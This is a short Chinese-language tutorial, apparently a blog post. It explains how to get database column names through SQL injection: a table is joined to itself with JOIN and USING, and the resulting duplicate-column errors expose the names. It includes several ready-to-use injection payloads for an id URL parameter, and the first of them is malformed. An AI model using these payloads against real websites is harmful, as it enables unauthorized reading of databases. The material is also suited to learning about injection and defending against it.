爆字段名中select * from users as a join users解释

爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' select * from (select * from users as a join users )
id

?id=-1' union select * from (select * from users as a join users b using(id))c--+

?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。

select * from users as a join users 

原理:通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 using 表达式挨个包含查询每一列,实现列的转移。(两相同的表,字段名肯定重复,用此机制既可查出字段名)

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-06-05 20:48:04       17 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-05 20:48:04       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-05 20:48:04       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-05 20:48:04       18 阅读

热门阅读

  1. lllllll

    2024-06-05 20:48:04       8 阅读
  2. 安卓手机APP开发___设置闹钟

    2024-06-05 20:48:04       9 阅读
  3. 外界的声音都是参考,你不开心就不要参考

    2024-06-05 20:48:04       12 阅读
  4. 网络协议学习笔记

    2024-06-05 20:48:04       10 阅读
  5. C++网络编程——实现一个简单的echo服务器

    2024-06-05 20:48:04       8 阅读